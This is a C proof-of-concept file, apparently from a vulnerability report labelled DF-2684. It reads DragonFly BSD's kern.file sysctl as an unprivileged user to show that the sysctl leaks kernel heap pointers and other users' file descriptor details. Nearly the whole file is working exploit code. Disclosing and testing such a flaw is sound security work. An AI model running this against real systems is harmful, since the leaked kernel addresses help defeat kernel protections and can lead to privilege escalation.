DF-2684 / kfile_leak.c
/* * DF-2684 PoC: unprivileged read of sysctl kern.file (KERN_FILE). * * DragonFly kern_descrip.c sysctl_kern_file_callback() feeds every * process's fd table through kcore_make_file() which copies: * kf->f_file = fp (kernel address of struct file) * kf->f_data = fp->f_data(kernel address of vnode/socket/pipe) * and the sysctl read path (kern_sysctl.c sysctl_root) applies NO * privilege check for reads -- only prison filtering in the callback. * * This program dumps the table as an unprivileged user and proves: * (1) kernel pointers are non-NULL * (2) descriptors of OTHER users (e.g. root) are visible */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/kinfo.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void) { size_t len = 0; void *buf; int mib[2] = { CTL_KERN, KERN_FILE }; int rc; unsigned i, nent; struct kinfo_file *kf; int myuid = getuid(); int foreign = 0, ptrs = 0; if (sysctl(mib, 2, NULL, &len, NULL, 0) < 0) err(1, "sysctl size"); if (len == 0) { printf("FAIL: kern.file size probe returned 0\n"); return 1; } buf = malloc(len); if (buf == NULL) err(1, "malloc"); rc = sysctl(mib, 2, buf, &len, NULL, 0); if (rc < 0) err(1, "sysctl data"); nent = (unsigned)(len / sizeof(struct kinfo_file)); printf("uid=%d fetched %u kinfo_file entries (%zu bytes)\n", myuid, nent, len); /* NOTE: actual entry count can be lower than len/sizeof due to the * 10% over-allocation in sysctl_kern_file(); stop at f_size==0. */ for (i = 0; i < nent; i++) { kf = (struct kinfo_file *)((char *)buf + i * sizeof(struct kinfo_file)); if (kf->f_size != sizeof(struct kinfo_file)) break; if (kf->f_file != NULL || kf->f_data != NULL) ptrs++; if (kf->f_uid != myuid) foreign++; if (i < 8 || (kf->f_uid != myuid && foreign < 6)) { printf(" pid=%-6d uid=%-6d fd=%-3d type=%d " "f_file=%p f_data=%p off=%lld fl=%x\n", kf->f_pid, kf->f_uid, kf->f_fd, kf->f_type, kf->f_file, kf->f_data, (long long)kf->f_offset, kf->f_flag); } } printf("entries with kernel pointers: %d\n", ptrs); printf("entries belonging to OTHER uids: %d\n", foreign); if (ptrs > 0 && foreign > 0) { printf("RESULT: LEAK CONFIRMED (unprivileged uid %d sees " "kernel heap pointers + other users' fd state)\n", myuid); return 0; } printf("RESULT: no leak observed\n"); return 1; } |